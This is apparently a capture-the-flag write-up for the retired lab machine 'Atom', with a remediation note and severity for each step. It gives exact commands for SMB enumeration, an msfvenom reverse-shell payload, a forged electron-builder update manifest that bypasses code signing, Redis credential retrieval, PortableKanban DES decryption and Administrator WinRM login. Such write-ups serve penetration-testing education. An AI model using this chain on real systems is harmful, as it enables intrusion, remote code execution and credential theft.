Atom
Summary
Target atom ($TARGET) runs an Electron-based note application whose auto-update client polls an SMB share that any unauthenticated network user can write to. I exploited a known electron-builder signature-bypass flaw — a leading single-quote in the installer filename causes the updater to skip code-signing verification — to plant a malicious update manifest and reverse-shell payload in the share.
An automated QA process on the target executed the payload, returning a shell as user jason. From that foothold I read the Redis service password stored in cleartext in a world-readable configuration file, authenticated to Redis, and retrieved an encrypted Administrator password stored by the PortableKanban task-management application.
Because PortableKanban uses a publicly known hardcoded DES key and IV, the ciphertext was decrypted offline in seconds, yielding the Administrator cleartext password. That credential authenticated directly over WinRM, completing full system compromise without any local exploit.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 4
nmap -sV -sC -p 80,135,443,445,5985,6379 $TARGET -oN atom_nmap.txtsmbmap -H $TARGET -u '' -p ''smbclient //$TARGET/Software_Updates -N -c 'recurse;ls'smbclient //$TARGET/Software_Updates -N -c 'get UAT_Testing_Procedures.pdf'FixRequire authentication on the Software_Updates SMB share and restrict write accessCritical
Exact commands 3
curl -sk http://$TARGET/ | grep -i heedwget http://$TARGET/releases/heed_setup_v1.0.0.zip && unzip heed_setup_v1.0.0.zip -d heed_appecho "$TARGET updates.atom.htb" | sudo tee -a /etc/hostsExact commands 3
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<atk_ip> LPORT=4446 -f exe -o "r'everse.exe"sha512=$(sha512sum "r'everse.exe" | awk '{print $1}' | xxd -r -p | base64 -w0) && size=$(wc -c < "r'everse.exe")printf 'version: 1.0.1\nfiles:\n - url: "r'\''everse.exe"\n sha512: %s\n size: %s\npath: "r'\''everse.exe"\nsha512: %s\nreleaseDate: 2026-07-11T00:00:00.000Z\n' "$sha512" "$size" "$sha512" > latest.ymlFixUpgrade electron-builder and enforce code-signing validation in the auto-updaterCritical
Exact commands 3
ncat -lvnp 4446smbclient //$TARGET/Software_Updates -N -c "cd client1; put latest.yml latest.yml; put r'everse.exe r'everse.exe"type C:\Users\jason\Desktop\user.txtExact commands 1
findstr /i requirepass "C:\Program Files\Redis\redis.windows-service.conf"FixRestrict access to the Redis config file and bind Redis to localhost onlyHigh
Exact commands 2
redis-cli -h $TARGET -a '[REDACTED: recovered credential]' KEYS '*'redis-cli -h $TARGET -a '[REDACTED: recovered credential]' GET 'pk:urn:user:<guid>'Exact commands 1
printf '%s' '<base64-blob>' | base64 -d | openssl enc -des-cbc -d -K [REDACTED: recovered credential] -iv [REDACTED: recovered credential] -provider legacy -provider defaultFixRetire PortableKanban and replace it with software that stores credentials securelyCritical
Exact commands 3
nxc winrm $TARGET -u Administrator -p '[REDACTED: recovered credential]'nxc winrm $TARGET -u Administrator -p '[REDACTED: recovered credential]' -x 'type C:\Users\Administrator\Desktop\root.txt'evil-winrm -i $TARGET -u Administrator -p '[REDACTED: recovered credential]'Exposed services
| 80/tcp | http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 443/tcp | ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |
| 445/tcp | microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 6379/tcp | redis Redis key-value store |
| 7680/tcp | pando-pub? |